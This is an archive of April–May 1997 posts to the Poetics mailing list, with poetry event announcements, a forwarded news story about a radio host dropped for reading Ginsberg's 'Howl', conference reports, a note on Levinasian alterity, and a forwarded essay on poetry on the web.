it reminds me of one which I think I'm remembering (rather than making up):

> *a Berkeley crosswalk*

(? maybe that has altered in memory; -- anyway, I'd define a Berkeley crosswalk as anywhere a Berkeleyite feels like crossing the street)

d.i.

↑ Index

966. **Keith Norris**

Re: words

Wed 30 Apr 1997

We'uns don't slow down.

Keith

On Tue, 29 Apr 1997 18:27:44 -0600 Hugh Steinberg
<[redacted]> wrote:

> *With a couple triple snap downs I'll toss the legendary California Stop into this discussion, which is what you do when you're driving and instead of actually stopping at a light or stop sign, merely slow down. I don't know if this a western US regional thing or if it's a little more widespread.*

Keith Norris | [redacted]
English Dept. PSTCC
Knoxville, TN 37933-0990
[redacted]

↑ Index

967. **jarnot**
poetry project symposium
Wed 30 Apr 1997

---

for anyone who's going to be in New York this weekend, the Poetry Project is holding its yearly symposium:

Thursday May 1st: 8pm: reading: Robert Creeley, John Godfrey, Cecilia Vicuna

Friday May 2nd: 1pm: Robert Creeley: a talk

3:30 pm: the Secret Gossip of the Poetry Project Part I: memoirs of 30 years at the Poetry Project by several readers including David Henderson, Paul Schmidt, Carolee Schneeman, John Yau, Paul Violi, Barbara Henning, etc.

8 pm: Reading: Jim Carroll, Lou Reed & Anne Waldman

Saturday May 3rd: 10:30 am discussion groups:

Barbara Henning: Gender and Writing (with Bill Luoma, Eleni Sikelianos, Laird Hunt, Brenda Coultas, Bill Kushner, etc.)

Ed Sanders: Activist Poetics: 1955 to 1997 and beyond

John Yau: Art and Poetry

1:00 pm Panel discussion: Poetry's Critical Climate: with Erica Hunt, Lisa Jarnot, Gary Lenhart, Joel Lewis, and Cecilia Vicuna

4:00 pm The Secret Gossip of the Poetry Project Part II: with Charles Bernstein, Lee Ann Brown, Alan Davies, Richard Hell, Marjorie Welish, Nick Piombino, Maureen Owen, Anne Waldman, and Tracie Morris

8:00 pm Reading/Performance: Amina Baraka, Amiri Baraka, Todd Colby, Ed Sanders, Tracie Morris

Sunday May 4th

2:00 pm The Secret Gossip of the Poetry Project Part III: with Fielding Dawson, Bernadette Mayer, Martha King, Phillip Lopate, Jackson MacLow, Charles North, Douglas Rothschild, Edwin Torres, David Shapiro, Sparrow, etc.

The Poetry Project is located at 2nd Avenue and 10th Street on the lower east side.

↑ Index

968. **Dale Smith**
Re: alterity
Wed 30 Apr 1997

---

jeffrey-

I'm curious. What is "the dilemma of using 'otherness'" and why does it need to be gotten out of?

Dale

> *would someone explain this term? i take it that it seeks to get out of the dilemma of using "otherness"?*
>
> *jeffrey timmons*

↑ Index

969. **Pierre Joris**

AG's Re-censored Howl John Whiting ---------- Forwarded Message ---------- RE: [Fwd: HOWL gets censored] Listener Howls, Radio Host Bounced by Michael Stutz 3:02pm 29.Apr.97.PDT "Howl," an Allen Ginsberg opus that has drawn censors' attention ever since it was first publicly spoken four decades ago, has gotten a Cleveland talk-show host kicked off the air. Cleveland's WERE-AM pulled the plug on The Gilly Show after an eight-minute reading of the poem's opening stanzas early Monday morning. Phil Ferrante, the show's producer, said that the station's action came as a surprise, considering that the poem was read just before 2 a.m., well into what the FCC deems "Safe Harbor" for material that might be considered indecent. "We even talked about [the FCC Safe Harbor Policy] on the air, we talked about Ginsberg and free speech and told everyone all night that we'd be reading it on the air." Like most of the station's non-syndicated content, The Gilly Show was among WERE's 88 hours of brokered programming - radio talk for pay-to-play broadcast time. A few local bars and nightclubs sponsored the show to help it break even, and despite its status as a brokered program, it was rated the Number One show on the station by Arbitron during the last ratings period, Ferrante said. John Hill, WERE station and program manager, said that the show's host, who goes only by the name of Gilly, knew the rules. "Everyone who starts a brokered show goes through a one-hour indoctrination of what can and can't be done on the air," he said. "We have a very liberal list of rules and regulations that we ask [the brokered shows] to follow - you have to do this when dealing with amateurs." The topic of last Sunday's show had been the radio free-speech issues as well as a tribute to Ginsberg, who died earlier this month. There were plenty of listener-discretion warnings throughout the show, said Gilly, a four-year veteran of WERE. "'Howl' is taught in high schools, for God's sake - it's a done deal, you can read this at night [during Safe Harbor]." The partial reading generated compliments - "A girl called afterward and said, 'You are too cool. I'm very interested in what you read and would like to get a copy of it,'" Gilly said - and one complaint. "A guy flipping stations was driving around with his 13-year-old daughter, and called the station to say that he was 'offended' by the F-word," he said. And that is what brought an end to the show. "I didn't hear the program," said Hill, "but the only thing I know is that the language used was deemed inappropriate for the station." ENDS

Wed 30 Apr 1997

References: <[redacted]>

John Whiting forwarded the following to me; it shld inetrest the list, so I'm forwarding it in turn -- Pierre

---------- Forwarded Message ----------

RE: [Fwd: HOWL gets censored]

Listener Howls, Radio Host Bounced by Michael Stutz

3:02pm 29.Apr.97.PDT "Howl," an Allen Ginsberg opus that has drawn censors' attention ever since it was first publicly spoken four decades ago, has gotten a Cleveland talk-show host kicked off the air.

Cleveland's WERE-AM pulled the plug on The Gilly Show after an eight-minute reading of the poem's opening stanzas early Monday morning.

Phil Ferrante, the show's producer, said that the station's action came as a surprise, considering that the poem was read just before 2 a.m., well into what the FCC deems "Safe Harbor" for material that might be considered indecent. "We even talked about [the FCC Safe Harbor Policy] on the air, we talked about Ginsberg and free speech and told everyone all night that we'd be reading it on the air."

Like most of the station's non-syndicated content, The Gilly Show was among WERE's 88 hours of brokered programming - radio talk for pay-to-play broadcast time. A few local bars and nightclubs sponsored the show to help it break even, and despite its status as a brokered program, it was rated the Number One show on the station by Arbitron during the last ratings period, Ferrante said.

John Hill, WERE station and program manager, said that the show's host, who goes only by the name of Gilly, knew the rules.

"Everyone who starts a brokered show goes through a one-hour indoctrination of what can and can't be done on the air," he said. "We have a very liberal list of rules and regulations that we ask [the brokered shows] to follow - you have to do this when dealing with amateurs."

The topic of last Sunday's show had been the radio free-speech issues as well as a tribute to Ginsberg, who died earlier this month.

There were plenty of listener-discretion warnings throughout the show, said Gilly, a four-year veteran of WERE. "'Howl' is taught in high schools, for God's sake - it's a done deal, you can read this at night [during Safe Harbor]."

The partial reading generated compliments - "A girl called afterward and said, 'You are too cool. I'm very interested in what you read and would like to get a copy of it,'" Gilly said - and one complaint. "A guy flipping stations was driving around with his 13-year-old daughter, and called the station to say that he was 'offended' by the F-word," he said.

And that is what brought an end to the show.

"I didn't hear the program," said Hill, "but the only thing I know is that the language used was deemed inappropriate for the station."

ENDS

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

970. **Tom Mandel**
REPORT CCCP 7
Wed 30 Apr 1997

It sounds like this fest was fun -- but, do I infer correctly that Tom Raworth was not involved in the goings-on?

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

971. **Tom Mandel**
tiles, miles, ali, and me
Wed 30 Apr 1997

Stories I have yet to relate to the list.

Buying Miles a drink when I was 15
(he was wearing a gorgeous pigskin overcoat over a raglan-shouldered houndstooth suit -- he looked like the devil's reply to Charlie Chaplin)

Meeting Ali in '95
His suit was covered with stars; he passed me a two-page tract in Arabic crushed in the form of his hands' lost control.

Meeting Colin Powell in '96
We discussed old Volvos. He drives (daily) a '66 122S wagon, green.

My date with Jessica Lang
(she lived on the rue des Rosiers; she stood me up)

...I better stop while you're ahead.

Subject: Re: Tom's pingpong rap

>but who but me
is the ali

> *better than me for miles.*

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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972. Charles Bernstein
NYC Reading
Wed 30 Apr 1997

<bold><color><param>ffff,0000,ffff</
param><bigger><bigger><bigger>Bruce Andrews</bigger></bigger></big-
ger></color></bold><color><param>ffff,0000,ffff</param><bigger><big-
ger><bigger> and <bold>Charles Bernstein

</bold></bigger></bigger></bigger></color>

reading at

<color><param>0000,0000,ffff</param><bigger><bigger>Posman Books

</bigger></bigger></
color><bigger><bigger><color><param>0000,8080,0000</param>Sunday May 11th at 3pm

</color></bigger></bigger>

1 University Place New York NY (USA)

(212-533-BOOK)

on the occasion of the reprinting of

<italic><color><param>ffff,0000,0000</param>The L=A=N=G=U=A=G=E Book

</color></italic>available by the middle of May

from Southern Illinois University Press

↑ Index

973. **Pierre Joris**
Subject
Wed 30 Apr 1997

My humble apologies for making the subject such a bloated object in my AG Howl censorship post -- overhasty cut&paste cleared the difference between head(er) & body

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

974. Mark Prejsnar
Friendly inquiry
Wed 30 Apr 1997

Personal to Tom Mandel:

What is the Caucus Conversation??

Mark P.
Atlanta

↑ Index

975. John Kinsella
CCCP7, children & the domestic!
Wed 30 Apr 1997

From Tracy Ryan, who's semi-attached (or semi-detached) to this list by virtue of "domesticity":

Just a plea for attention to the "bigger things" as well as the small; while I appreciate Karlien's amiable comments, I should point out that as final reader at the Cambridge Conference of Contemporary Poetry I read sixteen poems, two of which mentioned children (& not child care???) and none of which were "domestic", except insofar as one of them mentioned "writing at the kitchen table"--a poem which was a meditation on the way space behaves when the human body/ psyche is in isolation (a person whose house has suddenly become vacant continues to write in the one habitual spot). I am baffled by the description of my work as "clear subject poetry" on domesticity & child care. Perhaps this was some kind of slippage?--since I dedicated one poem to John Kinsella mentioning that he wasn't there because he was at home minding our child. Ironic that even when your "domestic" situation is supportive in a feminist sense, you get patriarchal [?] cliches in the public arena--& from another woman?

There's a danger in assuming that because one can immediately apprehend some of the content of a poem it is "clear subject poetry" unaware of its own process or of the often opaque habits of language. And when it isn't opaque for me, it's wrapping itself around & into visual art, landscape, clay, leeches, bees, French translations, trompe l'oeil table-tops, solstices, and internal organs. These were the "subjects" of what I read. Were we at the same reading???

A final note: the Australian poet John Forbes may not qualify for that awesome title of "language poet cognoscentus" but he's very discriminating in his use of "Yes!" and we Australians are more used to him satirising than being

satirised [however affectionately]. Perhaps as he sat and
listened to the clear and the unclear he was thinking, as in
his "Love Poem" ("about"! the Gulf War?)

...I watch the west
do what the west does best

& know, obscurely, as I go to bed
all this is being staged for me.

Well, a first posting may as well be a long one.
Tracy Ryan.

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976. Jethro Cadbury
colloquium
Wed 30 Apr 1997

there follows a plain text version of the prepatory bulletin on the sub voicive colloquium - this is published in Sub Voicive Poetry 1997 number 9 alongside a chunk of texts by Karen MacCormack - and is being mailed out in UK - it will be on the Mainstream web site too within days. Apologies for cross posting

Lawrence Upton

Preparatory Bulletin Sub Voicive Colloquium 1997

CONVENOR:
Lawrence Upton

COLLOQUIUM COMMITTTEE:
Ken Edwards, Allen Fisher, Robert Hampson, Lawrence Upton

Preparatory Bulletin: April 1997

DATE: The Sub Voicive Colloquium 1997 will take place during the autumn of 1997 at a date to be announced. It will be a Saturday event with a poetry reading on the Friday night before.

PLACE:
Centre for English Studies, Senate House, University of London.

APPROACH: There is too much to cover in one colloquium, but we can cover a lot; it is as important to be sure we listen to each other as it is to try to get through too crowded an agenda. It is important that all at the conference work to provide real opportunities to really TALK. (The convenor is committed holding another colloquium in 1998 and perhaps annually thereafter if it seems useful to do so.) The day will be structured and sessions will be chaired. However,

we are not necessarily looking for formal papers to be formally delivered. Rather we are looking for activities which will initiate discussion in the colloquium and proposals for possible further action; such activities may well include the presentation of formal papers

AIMS:
to address issues of importance which have emerged from discussions and activities of working poets in the British Isles:

PROPOSED AREAS OF DISCUSSION:
What constitutes or why bother to care about
* progress
* progressive
* innovative
* inventive
Why trouble over paradigms at all
The term "linguistically innovative", first used by Gilbert Adair, is now used very widely and quite loosely. Does it have any meaning now? Is it a useful term to be using?
Does the term "experimental" have any role?
Visual poetry / concrete poetry: Is it being unfairly marginalised these days? has it had its day or is its day still to come? or is all the energy going into 'performance writing' these days?
The relationship of poetry to other areas, in particular "performance", to what extent is poetry now separable as a discrete activity
To what extent do we mean different things when we speak of the following and how useful are these terms in defining differences:
* Poetry
* text
* writing
How does electronic text relate / fit in?

CONFERENCE MATERIALS: Finances permitting, there will be background materials of some kind; understanding of what is needed will grow as ideas and proposals become full plans. It is intended that, where appropriate, papers / prepared documents will be published in their colloquium or post colloquium form after the colloquium. It is intended to audio record the proceedings; but the recordings will not be released without relevant permission being granted.

CONTRIBUTIONS: There is no agenda with regard to who leads discussions EXCEPT that it is desirable for the final list to be SURPRISING in a constructive way and it shouldn't be an all-male thing or anything like.)

Further proposals in the areas outlined above are requested. Please state topics / areas in as much detail as possible together with how you want to do it, how

long you want to do it for. NB We may have to limit the amount of time you take.

DEADLINE for receipt of proposals:
to be announced - keep sending them in.

PROPOSED DEADLINE for materials to be included in background materials:
to be announced

Materials to be reproduced are requested in hard copy and computer file.

FINANCES: At this moment there is no money and everything is being done on various people's goodwill. We welcome donations in money and kind! Other forms of finance will be sought but you must be prepared to be working for nothing and travelling for nothing

There will be a fee to attend the colloquium. This will be kept as low as possible. A combined (cheaper) ticket to the colloquium and poetry performance will be available

Please use email wherever possible because it is not only fast but cheap. Please send s.a.e. / i.r.c. when using the mail.

PROMOTING THE COLLOQUIUM:
Please tell people and / or pass us the addresses of people who might be interested.

CONTACTING US us:
Mail: 32 Downside Road, Sutton, Surrey SM2 5HP
Telephone 0[redacted]
Email: [redacted]

↑ Index

977. Pierre Joris
from Britlist
Wed 30 Apr 1997

Ric Caddel posted the following to the brit&rish list, but I thought it would interest a number of you here in the US. This is indeed an indespendable infotool for anyone who wants to know what's happening across the big A. My only query being that odd date "1977"-- I take it to be a typo -- Pierre

The new ed. of the Association of Little Presses' CATALOGUE OF LITTLE PRESS BOOKS IN PRINT (No.14, 1977) is now out. It costs 3 pounds 75, and is available from ALP Co-ordinator Chris Jones, 111 Banbury Rd Oxford OX2 6JX.

It's an invaluable resource: list of UK little presses, access point for work by numerous UK authors (including members of this list!), bookshops (many of which

do mail order) and - of course - individual press adverts. As well as pointing out new things which I'd never have heard of, it reminded me of a lot of blasts from the past, things I want to dig out and re-read. And some really weird stuff too. New readers, start here - with caution...

_____

Richard Caddel
Durham University Library, Stockton Rd., Durham DH1 3LY, UK
E-mail: R.I.Caddel @ durham.ac.uk
Phone: [redacted] Fax: [redacted]
WWW:
http://www.dur.ac.uk/~dul0ric

"Words! Pens are too light. Take a chisel to write."
- Basil
Bunting

_____

==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

978. Pierre Joris
Re: "The center & circumference of silence"
Wed 30 Apr 1997

David R. Israel wrote:
>
> It has come to my attn that there has appeared, as of this month,
> Vol. 1, No. 1 of a new (evidently academic) journal:
> International Journal of Hindu Studies
.....
> The 1st abstract from the 1st issue seems of potential interest to

> Poetics denizens, ergo I reproduce that here:
>
> / / / / /
>
> The center and circumference of silence: Yoga, poststructuralism, and
> the rhetoric of paradox
> by George Kalamaras
>
> Some recent studies of Hindu yoga have tended to ignore the
> dialogical aspect of this philosophy and, thus, its compatibility
> with poststructuralist theory and poetics. This paper focuses on
> paradox as sacred experience, arguing that the reciprocal paradigm
> of yogic meditative philosophy is a dialogical system capable of
> accommodating paradox and recasting it as a generative condition.
> Yogic philosophy thus offers an epistemology compatible with that
> of radical poetics, one that can ultimately enrich
> poststructuralist poetics in ways truer to their radical intent.
>
> / / / / /
> [author of the above]:
> GEORGE KALAMARAS
> Associate Professor of English and Director of Creative
> Writing at Indiana University-Purdue University Fort Wayne
>

Kalamaras has an interesting essay on poetry & mysticism in the current (a recent?) issue of Ed Foster's TALISMAN. Worth reading & arguying with. -- Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

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it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

979. **Pritchett,Pat**
Re: tiles, miles, ali, and me
Wed 30 Apr 1997

Tom Mandel appears to have ALL the good stories. But I could - if I wanted - tell you about the time I tooled around LA in a pickup truck with Sinead O'Connor riding shotgun.

Then there was the time - less elevating to be sure - that I watched Rodney Dangerfield consume an Arby's beef sandwich. Samuel Johnson has nothing on that guy!

From: Tom Mandel
To: POETICS
Subject: tiles, miles, ali, and me
Date: Wednesday, April 30, 1997 7:55AM

Stories I have yet to relate to the list.

Buying Miles a drink when I was 15
(he was wearing a gorgeous pigskin overcoat over a raglan-shouldered houndstooth suit -- he looked like the devil's reply to Charlie Chaplin)

Meeting Ali in '95
His suit was covered with stars; he passed me a two-page tract in Arabic crushed in the form of his hands' lost control.

Meeting Colin Powell in '96
We discussed old Volvos. He drives (daily) a '66 122S wagon, green.

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(she lived on the rue des Rosiers; she stood me up)

...I better stop while you're ahead.

Subject: Re: Tom's pingpong rap

>but who but me
is the ali

> *better than me for miles.*

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]

****
Join the Caucus Conversation

↑ Index

980. **Jethro Cadbury**
Gin & UK
Wed 30 Apr 1997

On Wed, 23 Apr 1997 17:10:27 -0700 George Bowering wrote <<Last summer I went to a soccer game (Vancouver 3, Seattle 2) with Bromige, and we had , because of his son, a thermos of gin and a thermos of vermouth and some plastic cups. Bromige told me that in England this was quite customary. I believed him,>>

He is being spendthrift with the truth...

There is a type of Englishman abroad... I once went over a smallish mountain made huge by enormous heat with an Englishman who would take rest breaks every hour or so - he would sit on a rock or stump or whatever and produce a depleting bottle of ouzo - this was in Greece - and a rod of plastic cups... as the way became more arduous it seemed to matter less and the way back became more of a guess - it was enjoyable and clearly survivable - but it was not normal

Lawrence Upton

↑ Index

981. **Aldon L. Nielsen**
Re: tiles, miles, ali, and me
Wed 30 Apr 1997

That's nothing to brag about -- I once met a man at a bus stop in Los Angeles who had never heard of Kevin Bacon!

↑ Index

982. **Susan E. Dunn**
Writing the Speculative
Wed 30 Apr 1997

Since I just got back on the poetics wagon I'm not sure if this has been announced already. If so, then I apologize for the redundancy.

For those in the Bay Area, this Friday May 2 Hank Lazer will be reading at the Stanford Bookstore at 4:00pm and on Saturday May 3 the Stanford Humanities Center presents "Writing the Speculum: A Symposium on Poetry and

Knowledge." The full schedule of panelists and paper titles is now available on the web page: http://shc.stanford.edu/shc/poetry.knowledge.html

---

Susan E. Dunn, Ph.D.
Associate Director "Make the world your salon"
Stanford Humanities Center - Mina Loy

Mariposa House Tel: [redacted]
546 Salvatierra Walk Fax: [redacted]
Stanford University email: [redacted]
Stanford, CA 94305-8630 www: http://shc.stanford.edu

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983. Grant Jenkins
Re: alterity
Wed 30 Apr 1997

Jeffrey:

For the best explanation of "Alterity" as relating to otherness, check out Emmanuel Levinas's _Totality and Infinity_. In this book, he uses alterity to distinguish his use of the Other from that of a dialectical relationship of self and other. Instead of otherness being that against which the subject defines itself, "Alterity" for Levinas signifies that the Other is not a construct of the cognition of the subject. Instead, the Other is beyond reason and even beyond Being and transcends any idea the subject can have of the Other. Hope that helps. I'm doing a project relating this idea of alterity to poetry. Back channel me if you want more info.

Grant Jenkins

↑ Index

984. David R. Israel
"The center & circumference of silence"
Wed 30 Apr 1997

It has come to my attn that there has appeared, as of this month,
Vol. 1, No. 1 of a new (evidently academic) journal:
International Journal of Hindu Studies

They have a website:
http://www.clas.ufl.edu/users/gthursby/ijhs/contents.htm

but the articles themselves don't appaer on the site. However, they are putting abstracts of the articles on the site.

The 1st abstract from the 1st issue seems of potential interest to Poetics denizens, ergo I reproduce that here:

/ / / / /

The center and circumference of silence: Yoga, poststructuralism, and the rhetoric of paradox
by George Kalamaras

Some recent studies of Hindu yoga have tended to ignore the dialogical aspect of this philosophy and, thus, its compatibility with poststructuralist theory and poetics. This paper focuses on paradox as sacred experience, arguing that the reciprocal paradigm of yogic meditative philosophy is a dialogical system capable of accommodating paradox and recasting it as a generative condition. Yogic philosophy thus offers an epistemology compatible with that of radical poetics, one that can ultimately enrich poststructuralist poetics in ways truer to their radical intent.

/ / / / /
[author of the above]:
GEORGE KALAMARAS
Associate Professor of English and Director of Creative
Writing at Indiana University-Purdue University Fort Wayne

I've not seen the Journal itself (nor read the essay described above).

"paradox as sacred experience" --
a phrase to conjure with (as they say) --

d.i.

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 .
 .....
 ............
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↑ Index

985. **Ken Edwards**
REPORT CCCP 7
Wed 30 Apr 1997

Thanks, Karlien, for that careful and attentive description of the Cambridge Conference of Contemporary Poetry. I was going to attempt one of my own, but my take on what went on is not so very different, so I'll abandon it. Except to add my tuppen'orth on the one session she missed out which I was at, the Saturday morning one: Pierre-Yves Soucy and Staffan Soderblum. The former a Belgian-based French-Canadian, the latter from Sweden, and both previously unknown to me. Soucy's poems were long, dense, abstract, knotted, and possessed of an uncanny momentum. This meant that Ian Patterson's skilful translations had to wait a while to be heard, but the alternative - to interrupt the sequences - would have been untenable. Soderblum, was lighter, his poems shorter, but with a resonance that followed hard behind them: language leaving its traces, animal footprints in the snow. He prefaced the reading with some words on the translation process. Rod Mengham read English translations, including one of his own, having no Swedish - this exercise amused Soderblum.

Last night (Tuesday) Karen Mac Cormack gave another tour de force reading at SubVoicive, the Three Cups, London, this time duetting with Alan Halsey on a collaborative piece which kind of zinged. Hope to see it in print soon.

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986. **Henry Gould**
reading in RhodeIsland
Wed 30 Apr 1997

May Reading at Native Gallery

Karen Donovan, Henry Gould, Stephen Sartarelli, Janet Sullivan

Fri. May 9th, 9 pm

Native Gallery, 387 Charles St, Providence. Call the gallery at 401- [redacted] for directions, or email me ([redacted])

reading follows opening for May show - a solo exhibition, "Strange Journey : paintings by Entang Wiharso". Opening 5-8 pm. all events free.

"Henry Gould is not just an internet squall"
- Eric Blarnes

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987. **David Kellogg**
Re: from Britlist
Wed 30 Apr 1997

Pierre or anybody, what's the scope of this list, and how can I get on?

Cheers,
David

At 03:38 PM 4/30/97 +0000, Pierre Joris wrote:
>Ric Caddel posted the following to the brit&rish list, but I thought it
>would interest a number of you here in the US. This is indeed an
>indespendable infotool for anyone who wants to know what's happening
>across the big A. My only query being that odd date "1977"-- I take it
>to be a typo -- Pierre
>
>The new ed. of the Association of Little Presses' CATALOGUE OF LITTLE
>PRESS BOOKS IN PRINT (No.14, 1977) is now out. It costs 3 pounds 75, and
>is available from ALP Co-ordinator Chris Jones, 111 Banbury Rd Oxford
>OX2
>6JX.
>
>It's an invaluable resource: list of UK little presses, access point for
>work by numerous UK authors (including members of this list!), bookshops
>(many of which do mail order) and - of course - individual press
>adverts.
>As well as pointing out new things which I'd never have heard of, it
>reminded me of a lot of blasts from the past, things I want to dig out
>and
>re-read. And some really weird stuff too. New readers, start here - with
>caution...
>
>_____
>Richard Caddel
>Durham University Library, Stockton Rd., Durham DH1 3LY, UK
>E-mail: R.I.Caddel @ durham.ac.uk
>Phone: [redacted] Fax: [redacted]
>WWW:
>http://www.dur.ac.uk/~dul0ric
>
>"Words! Pens are too light. Take a chisel to write."
> - Basil
>Bunting
>_____

>
>
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>Everything that allows men to become rooted, through
>values or sentiments, in _one_ time, in _one_ history, in
>_one_ language, is the principle of alienation which
>constitutes man as privileged in so far as he is what he is,
>[...] imprisoning him in contentment with his own reality
>and encouraging him to offer it as an example or impose
>it as a conquering assertion. -- Maurice Blanchot
>==========
>
>
~~~
~~~

989. Charles Bernstein
LINEbreak in RealAudio
Wed 30 Apr 1997

We are <italic>beginning </italic>to put up all the LINEbreak poetry radio shows in Real Audio on the EPC. LINEbreak is a series of about 30 shows, produced by Martin Spinelli, which I host. The shows have both conversations and readings.

As of now, we have RealAudio only for Lyn Hejinian, Loss Glazier & Ken Sherwood, Ted Pearson, and Carla Harryman. (The other shows on the site are in .mpeg and .wav formats, which take time to load before playing.) More will be put up week by week. (You can also get all the shows on cassette.)

RealAudio (or Real) Players are available free. They let you listen to the show in real time in low fidelity. Information about this is on the site.

http://writing.upenn.edu/epc/linebreak/programs/

↑ Index

990. Joel Lewis
National Poetry Month (fwd)
Thu 1 May 1997

dear folks--found this on CAP-L list....

joel lewis

> *---------- Forwarded message ----------*
> *Date: Wed, 30 Apr 97 09:38:44 CST*
> *From:* [redacted]
> *To:* [redacted]
> *Subject: National Poetry Month*
>
> *A friend who's not a poet just passed this to me from MSN's website--I can't resist passing it on, for what it's worth, on the last day of April:*
>
> ---
> ---
>
> *April is National Poetry Month in the United States, and I have to pause at the thought of poets adopting a month that begins with a day for fools. After the jokes are over, the poets begin to emerge from the woodwork, frayed manuscripts in hand.*
>
> *The rest of the year, poets tend to be a shy, reclusive lot -- admitting*

to their craft only in certain smoky bars or empty houses, at midnight, in a closet. The democracy and accessibility of the World Wide Web is changing that. With great surprise and gladness, I have surfed, or stumbled, onto a proliferation of poetry. It flourishes. It is everywhere.

The Internet has filled some primal need of poets languishing in college classrooms and day jobs. They flock to the Web, they write, and on the Internet they can publish their work for a potentially large and varied audience. That is the first magic.

My guess is that in a way, the Web has rescued poetry publishing. As print costs rise, the Internet provides a comparatively inexpensive venue -- one that more easily supports long works, and four-color art to accompany them. Electronic publishing also allows a more flexible schedule, with updates ranging from quarterly to every day.

Come One, Come All

The Web has something for everyone. Yahoo's Poet List will link you to sites on some of history's finest and best known -- from Sappho, Dante Alighieri, and Yeats to Seamus Heaney, Maya Angelou, and Rita Dove. It's a fine site to bookmark for those days when you really want to read Alfred, Lord Tennyson, or you find yourself down to the wire on a Chaucer report.

For a more informal sampling, you can visit a wealth of individual poets' pages and e-zines. Some of them are aggressively self-labeled as alternative or underground. Many are described as cutting edge, which sounds exciting, but I haven't quite figured out what it means. Others seek to continue the more polished tradition of printed literary reviews. An example is Switched-on Gutenberg, a "Global Poetry Journal" that is published solely for the Web by the University of Washington.

I even found an Electro Magnetic Poetry page, for people whose refrigerator real estate is at a premium.

Now that the forum exists, poets are budding and blossoming, scrawling and pecking at keys to put their poems out in public. As I browse from site to site, I begin to recognize some of the names, and I remember the poets whose work I enjoyed.

Established regional and international print reviews haven't been left out of the loop. One of my favorites is Painted Bride Quarterly, which posts the kind of poetry that can make me gasp. College and university reviews weigh in with a commanding Web presence. Print publications with online sites often include an e-mail address, and information on subscribing or ordering back issues.

Keep on Clicking

Here is the second magic: Nearly every one of these Web sites includes a list of more sites. You can read poetry all day.

Again, Yahoo offers a great place to start, listing a variety of literary Web sites. Those newly added are highlighted at the top for a few days before being alphabetized. One jump, and I'm on a wild journey through words. If I'm not thrilled by the poems on a site, I can click my trusty Back button or move onward.

Another Web destination with a dizzying assortment of links is Zuzu's Petals (yes, named for the Zuzu you've known and loved in Frank Capra's It's a Wonderful Life). Zuzu's Petals provides a clearinghouse of more than 2,000 links to information on writers' resources, grants, literary magazines and e-zines, and readings -- in addition to the online Zuzu's Petals Quarterly.

A World of Poetry

Not only has the accessibility of the World Wide Web encouraged poets to share their work, it has become the nurturing ground for an exciting sense of community. On the Internet, it's a global community. I can visit the Web site of the venerable Academy of American Poets, which sponsors National Poetry Month, to find out about upcoming events. I can check into the local poetry scene in Pittsburgh or London. I can browse through an online workshop, e-mail feedback on the poems posted there, explore writing exercises suggested by other poets, find out about upcoming contests, submit poems for consideration, or simply relish immersion in words.

One of the most exciting discoveries I've made is the Poetry Webring, a worldwide poetry circle. Webrings are a free Internet service "committed to creating a new kind of Web community," and exist on a variety of topics. Links on Webring pages point to a CGI script on a server, so sites can be added or deleted without changing links on individual pages or interrupting the ring. From any site on a Webring, you can jump to the next site, skip the next site, or choose to preview the next five sites, encouraging a journey of immense proportions and diversity. The idea is that if you keep jumping long enough, you'll return to your starting place. The Poetry Webring, however, encompasses more than 460 sites, so it will take a while.

The Internet and e-mail are affecting poetry in another way. Writing is ultimately about communication. And the Web technologies allow poet colleagues to communicate across previously difficult distances. A recent issue of Poets and Writers, which includes Poetry News on its Web site,

ran an article about a Wyoming writing workshop consisting of poets, fiction writers, and other wordsmiths who used e-mail to send each other work and reply with feedback -- something that would have been at the very least improbable had it required meeting in a central location for six weeks.

It's giddy. It's marvelous. And it's all just a few clicks away. The excitement generated by National Poetry Month thrives all year long on the World Wide Web. The poets may stick to their garrets, but they're online now -- a benefit for us all.

--- --

Joannie Kervran is the author of A Steady Longing for Flight, which received the 1995 Floating Bridge Press Chapbook Award and is available through the publisher. Joannie has been writing poetry for about 14 years, and her work has appeared in Point No Point, Rain City Review, and Wings Magazine; her short fiction has been published in Farm Pulp. When released from writing or coding HTML for the World Wide Web, Joannie tends children and old roses. A sample of her poetry is below.

--- --

Undressing

Last night, reluctance slipped from my shoulders like a silk shawl, fell in small anxieties I could step over easily into your reach. Now I gather them around me, look for answers in the treacherous folds, look for an image of you

bent over the table as you try to shift the balance and flow of wood until it will slide like water, stand like stone. Your hand follows the grain. Rain slaps the windows and you throw another scrap into the stove. Heat is an elixir.

Across town the rooms grow dark. I reach for a part of you that's lost in the mysteries of cherry and maple. Drafts creep in from ill-fitted corners, tighten my skin. I try on names for your absence like someone else's clothing. The silk is elusive. Night is another chance.

<Picture> ;Loved this article? Hated it? Think you could write a better one? ;Send us your feedback!

